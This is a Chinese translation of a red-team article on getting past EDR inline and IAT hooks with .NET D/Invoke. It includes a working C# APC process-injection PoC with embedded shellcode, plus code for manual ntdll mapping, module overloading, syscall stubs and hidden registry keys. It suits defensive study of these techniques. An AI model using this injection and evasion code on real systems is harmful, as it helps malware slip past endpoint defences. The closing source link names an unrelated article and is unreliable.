EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook

  • A+
所属分类:安全文章

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook
一、概述

本文展示了几种动态调用方法,可以利用这些方法绕过Inline和IAT Hook。可以在这里找到概念证明:https://github.com/NVISO-BE/DInvisibleRegistry 。

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook
二、探索过程

时至今日,红队的技术已经发生了明显变化,他们越来越多地使用C#编写工具,或者逐步从PowerShell转移到C#。

由于AMSI(反恶意软件扫描接口)、脚本块日志记录等一些变化,利用PowerShell实施的一些攻击活动已经越来越容易被发现和防御。

C#中有一个很好用的功能,就是能够像在C或C++中一样,调用Win32 API并操纵这些低级别的函数。

在C#中利用这些API函数的过程被称为平台调用,简称为P/invoke。微软通过C#中的System.Runtime.InteropServices命名空间来实现这一点。所有这些都由CLR(公共语言运行时)进行管理。下图展示了如何使用P/Invoke来衔接非托管代码和托管代码。

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook

但是,从攻击者视角来说,使用.NET也存在一些缺点。由于CLR负责.NET与机器可读代码之间的转换,因此可执行文件不会直接转换为机器可读的代码。这意味着,可执行文件将其整个代码库存储在程序集中,因此非常容易进行逆向工程。

除了进行逆向以外,我们还越来越多地接触到EDR(终端监测与响应)。借助EDR,组织可以提高其网络安全性,使攻击者变得更加艰难,这显然是一件好事。

即使恶意程序在内存中执行(不接触磁盘,通常也称为“无文件”),由于EDR挂钩了进程,因此也可以捕捉到进程活动,并发现特定函数的执行过程。EDR有能力检查当前正在发生的事情,放行合法的函数调用,并阻止可疑的调用。@CCob发表过一篇关于这个概念,以及如何绕过挂钩的文章。一些EDR可能会挂钩到最底层,即负责Windows内核系统调用的ntdll.dll。下图说明了EDR的工作原理。

EDR如何对ntdll调用进行挂钩以防止恶意软件执行:

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook

EDR主要有两种挂钩方式,分别是IAT Hooking和Inline Hooking(也被称为splicing)。

IAT的全称是导入地址表,我们可以将IAT类比为电话簿,能够在其中查找朋友的号码(所需的函数)。

这个电话簿可能被篡改,EDR可能会更改其中的某个条目,以指向EDR。下面展示了一个图表,说明了IAT Hooking的工作原理。

在这里,我们将EDR视为“恶意代码”:

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook

在示例中,是一个要调用消息框的程序。该程序将在其电话簿中查找消息框的号码(地址),以便进行调用。

程序很难知道有人替换了电话号码(地址),所以每次当它以为在调用消息框时,实际上都在调用EDR。

EDR会接受呼叫(调用),收听消息(调用的函数),如果EDR判断该内容时合法的,则会将消息框的真实地址返回给程序,以便进行实际的调用。

而Inline Hooking的原理可以类比成入侵者把枪顶在了我们要呼叫的朋友的脑袋上。

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook

在Inline Hooking的情况下,程序已经有朋友(函数)的正确号码(地址),将会呼叫(调用)朋友,其朋友也将接听电话。

但是他不知道的一点是,他的朋友实际上已经被劫持为人质,入侵者会告诉朋友该说些什么(执行特定指令),然后恢复对话,就好像什么都没有发生。

这两种方法可能会同时影响攻击者和防御者。从攻击的角度来看,还存在一些可能绕过这些函数挂钩的方法。我们联想到了MDSec的Firewalker和@CCob的Sharpblock。或者,使用最终级的绕过方式——直接使用系统调用。

另一个比较有趣的项目是Sharpsploit,这个项目包含攻击者使用的C#工具,就如同PowerShell对应的PowerSploit一样。但是,Sharpsploit存在一个缺点,编译后的DLL会被认为是恶意,因此,如果我们将Sharpsploit作为程序的依赖,很快就会被反病毒软件发现。但是,Sharpsploit的一部分是动态调用(D/Invoke),我认为这是整个Sharpsploit中最有趣的一部分。它允许攻击者调用P/Invoke利用的API,但并不是动态导入,而是动态执行。这意味着,将完全绕过IAT Hooking,因为动态调用函数不会在可执行文件导入表中创建条目。最终,分析人员和EDR都无法通过查看导入表来分析出程序的功能。TheWover写过一篇非常不错的文章,强烈建议阅读。

此外,TheWover发布了一个NuGet软件包,其优点在于它可以直接用作库,不会被检测为恶意软件。这个软件包的优点在于其中包含结构和函数,不再需要开发人员手动进行定义。我们可以用几天前创建的示例来进行说明:https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0#file-dinjectqueuerapc-cs 。

我使用NuGet重新创建了相同的PoC:

using System;

using System.Security.Principal;

using System.Runtime.InteropServices;



namespace DInvoke

{

    class tests

    {

        public static void InjectNewProcessCreateUserAPC(String process)

        {

            byte[] sc = new byte[112] {

        0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3

        };

            uint oldProtect = 0;

            bool success = false;

            String processPath = process;

            Data.Win32.ProcessThreadsAPI.STARTF si = new Data.Win32.ProcessThreadsAPI.STARTF();

            Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION pi = new Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION();

            success = DynamicInvoke.Win32.CreateProcess(processPath, null, IntPtr.Zero, IntPtr.Zero, false, Data.Win32.Advapi32.CREATION_FLAGS.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);


            Console.WriteLine(pi.dwProcessId);

            IntPtr alloc = DynamicInvoke.Win32.VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x1000 | 0x2000, 0x40);

            success = DynamicInvoke.Win32.WriteProcessMemory(pi.hProcess, alloc, sc, (uint)sc.Length, out UIntPtr bytesWritten);



            IntPtr tpointer = DynamicInvoke.Win32.OpenThread(Data.Win32.Kernel32.ThreadAccess.SetContext, false, (int)pi.dwThreadId);

            DynamicInvoke.Win32.VirtualProtectEx(pi.hProcess, alloc, sc.Length, 0x20, out oldProtect);

            DynamicInvoke.Win32.QueueUserAPC(alloc, tpointer, IntPtr.Zero);

            DynamicInvoke.Win32.ResumeThread(pi.hThread);

        }


        public static void Main(string[] args)

        {

            InjectNewProcessCreateUserAPC(@"C:WindowsSystem32notepad.exe");

        }

    }

}

代码从731行缩减为38行。对攻击者的.NET开发过程来说,NuGet是D/Invoke有史以来做好的发明。

NuGet仍然正在开发中,其最终目标是完全替代P/Invoke。如果大家希望提供帮助,欢迎随时提交Pull Request。我们相信,借助开源的力量,这个库会变得非常庞大。

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook
三、利用D/Invoke绕过挂钩

现在,挂钩和动态调用的概念已经非常清晰了,我们可以使用D/Invoke来绕过挂钩。

为了激发灵感,我决定根据Specterops的研究成果来创建概念验证。

在研究过程中,他们使用了Mark Russinovich的研究,并将其转变为攻击过程的概念证明。Mark在2005年发布了一个名为RegHide的工具。

他发现,在使用Ntcreatekey创建新的注册表项时,我们可以在空字节前添加一个字节。当在注册表项之前添加一个空字节时,解释器会将其视为字符串终止(在C语言中,字符串以一个空字节终止)。这样一来,将会导致注册表接受新的注册表项,但无法正确显示。这为防御者提供了一个很好的突破口,说明其中可能存在一些问题。

尝试显示名称中包含空字符的键值时,Regedit将显示错误:

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook

在概念证明中,我利用D/invoke和NuGet的功能,将PowerShell移植到了C#中。

我已经为D/invoke项目提交了Pull Request,其中添加了必要的结构和委托。同时,也加入了其他的一些内容,例如QueueUserAPC进程注入。

但是,由于我在编写这篇文章,所以实际上我也将必要的结构加入到了PoC之中,使其兼容当前的D/invoke NuGet包。

PoC可以在这里找到:https://github.com/NVISO-BE/DInvisibleRegistry 。

DinvisbleRegistry PoC的用法:

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook

在PoC中,编码了三种方法,它们也可以合并为一个大函数,作为一个完整的实现。

之所以要花时间来编写代码,是因为我希望展示攻击者可以利用D/Invoke绕过挂钩的各种方法,及其背后的原理。

3.1 方法1:经典动态调用

当指定-n标志和所有其他必需的参数时,PoC将使用传统的D/Invoke方法在所请求的配置单元中创建一个新的注册表项(如果使用-h表示则会隐藏)。

当动态调用函数时,这种方法将绕过IAT Hooking,因此不会显示在IAT中。

D/Invoke的工作方式是这样的,我们首先需要创建要尝试执行的API调用的签名(除非D/Invoke Nuget中已经存在)和相应的Delegate函数。

API签名:

public static DInvoke.Data.Native.NTSTATUS NtOpenKey(

ref IntPtr keyHandle,

STRUCTS.ACCESS_MASK desiredAccess,

ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes)

{

object[] funcargs =

{

keyHandle,desiredAccess,objectAttributes

};

DInvoke.Data.Native.NTSTATUS retvalue = (DInvoke.Data.Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenKey", typeof(DELEGATES.NtOpenKey), ref funcargs);

keyHandle = (IntPtr)funcargs[0];

return retvalue;

}

对应委托:

[UnmanagedFunctionPointer(CallingConvention.StdCall)]

public delegate DInvoke.Data.Native.NTSTATUS NtOpenKey(

ref IntPtr keyHandle,

STRUCTS.ACCESS_MASK desiredAccess,

ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes);

我们可以在API签名中看到,正在调用DynamicAPIInvoke函数,并将该函数的委托传递给它。

3.2 方法2:手动映射

一些威胁参与者和恶意软件可能会使用手动映射的方法。TheWover在他的博客中解释了手动映射的概念:

DInvoke支持将PE模块手动映射到存储在磁盘或内存中模块。这个功能可以用于绕过API挂钩,或者用于在无需接触磁盘的情况下从内存加载和执行Payload。该模块可以映射到动态分配的内存中,也可以映射到磁盘上任意文件支持的内存中。从磁盘手动映射模块时,将使用它的新副本。这样一来,反病毒软件或EDR原本放置在其中的任何挂钩都不再存在。如果手动映射的模块调用到其他挂钩的模块,那么仍然有可能触发反病毒或EDR。但是,至少对于手动映射模块本身的所有调用,都不会被任何钩子捕获。这也就是恶意软件经常会手动映射ntdll.dll的原因。他们使用新的副本,绕过加载到进程中的ntdll.dll里面放置的所有挂钩,强制自己仅使用新ntdll.dll副本中的Nt* API调用。由于ntdll.dll中的Nt* API调用仅仅是系统调用的包装,因此对它们的任何调用都不会无意跳转到可能挂钩的其他模块。

当我们指定了-m标志,并且代码类似于下述代码时,便会在PoC中完成了手动映射。

首先,映射正在使用的库。我们越隐蔽,挂钩到调用树的概率就越小。我们可以使用ntdll.dll。

DInvoke.Data.PE.PE_MANUAL_MAP mappedDLL = new DInvoke.Data.PE.PE_MANUAL_MAP();

mappedDLL = DInvoke.ManualMap.Map.MapModuleToMemory(@"C:WindowsSystem32ntdll.dll");

接下来,为需要调用的函数创建委托,如果它还没有在D/Invoke中,那么可以利用NuGet。

[UnmanagedFunctionPointer(CallingConvention.StdCall)]

public delegate DInvoke.Data.Native.NTSTATUS NtOpenKey(

ref IntPtr keyHandle,

STRUCTS.ACCESS_MASK desiredAccess,

ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes);

接下来,创建函数参数和数组,并将其存储:

IntPtr keyHandle = IntPtr.Zero;

STRUCTS.ACCESS_MASK desiredAccess = STRUCTS.ACCESS_MASK.KEY_ALL_ACCESS;

STRUCTS.OBJECT_ATTRIBUTES oa = new STRUCTS.OBJECT_ATTRIBUTES();

oa.Length = Marshal.SizeOf(oa);            

oa.Attributes = (uint)STRUCTS.OBJ_ATTRIBUTES.CASE_INSENSITIVE;            

oa.objectName = oaObjectName;            

oa.SecurityDescriptor = IntPtr.Zero;          

oa.SecurityQualityOfService = IntPtr.Zero;           

DInvoke.Data.Native.NTSTATUS retValue = new DInvoke.Data.Native.NTSTATUS();

object[] ntOpenKeyParams =

{

    keyHandle,desiredAccess,oa

};

最后,调用D/Invoke CallMappedDLLModuleExport,从手动映射的DLL中调用函数。

retValue = (DInvoke.Data.Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.CallMappedDLLModuleExport(mappedDLL.PEINFO, mappedDLL.ModuleBase, "NtOpenKey", typeof(DELEGATES.NtOpenKey), ntOpenKeyParams, false);

对于ntdll来说,CalledMappedDLLModuleExport的最后一个参数为False,这是因为ntdll中没有DllMain方法。如果将其设置为True,会在我们尝试访问不存在的内存时引发崩溃(Panic)。

3.3 方法3:重载映射

TheWover解释了重载映射(Overloadmapping)的概念:

除了普通的手动映射外,我们还支持模块重载。模块重载可以让我们将Payload(以字节数组形式)存储在内存中,由磁盘上合法文件提供内存的支持。这样一来,当我们从中执行代码时,这段代码似乎时由磁盘上合法的、经过有效签名的DLL中执行的。

需要注意的是,手动映射非常复杂,我们不能保证我们的实现涵盖了所有情况。目前的版本已经可以用于许多常见的用例,并且仍在不断完善。另外,手动映射和syscall stub生成不适用于WOW64进程。

方法2和方法3在实现上基本相同,唯一不同的是调用了重载手动映射的方法,不必再映射到内存。

DInvoke.Data.PE.PE_MANUAL_MAP mappedDLL = DInvoke.ManualMap.Overload.OverloadModule(@"C:WindowsSystem32ntdll.dll");

其余的实现与方法2相同。

如果要查看使用了哪个进程,可以使用PE_MANUAL_MAP DecoyModule调用来获取:

Console.WriteLine("Decoy module is found!n Using: {0} as a decoy", mappedDLL.DecoyModule);

3.4 方法4:系统调用

这种方法目前还存在一些缺陷,因此有可能无法获得想要的结果,我们暂时没有在PoC中实现这种方法,我建议在以后的D/Invoke版本中不要使用这种方法。

D/Invoke提供了一个API来动态获取系统调用。其生成系统调用的步骤如下。

创建委托(如果不存在):

[UnmanagedFunctionPointer(CallingConvention.StdCall)]

public delegate DInvoke.Data.Native.NTSTATUS NtOpenKey(

ref IntPtr keyHandle,

STRUCTS.ACCESS_MASK desiredAccess,

ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes);

创建一个IntPtr来存储系统调用指针,并使用GetSyscallStub函数来填充该指针:

IntPtr syscall = IntPtr.Zero;

syscall  = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtOpenKey");

使用Marshal创建使用系统调用的调用的委托:

DELEGATES.NtOpenKey syscallNtOpenKey = (DELEGATES.NtOpenKey)Marshal.GetDelegateForFunctionPointer(syscall, typeof(DELEGATES.NtOpenKey));

最后,进行调用:

retValue = syscallNtOpenKey(ref keyHandle, desiredAccess, ref oa);

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook
四、总结

我希望这篇文章能够很好地说明攻击者是如何绕过IAT和Inline Hooking,从而展示绕过EDR钩子的不同方法。

欢迎大家提交Pull Request,为D/Invoke项目作出贡献。可以在这里找到D/Invoke GitHub项目:https://github.com/TheWover/DInvoke 。

概念证明可以在这里找到:https://github.com/NVISO-BE/DInvisibleRegistry 。

参考及来源:https://landave.io/2020/11/bitdefender-upx-unpacking-featuring-ten-memory-corruptions/

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook

EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook

本文始发于微信公众号(嘶吼专业版):EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: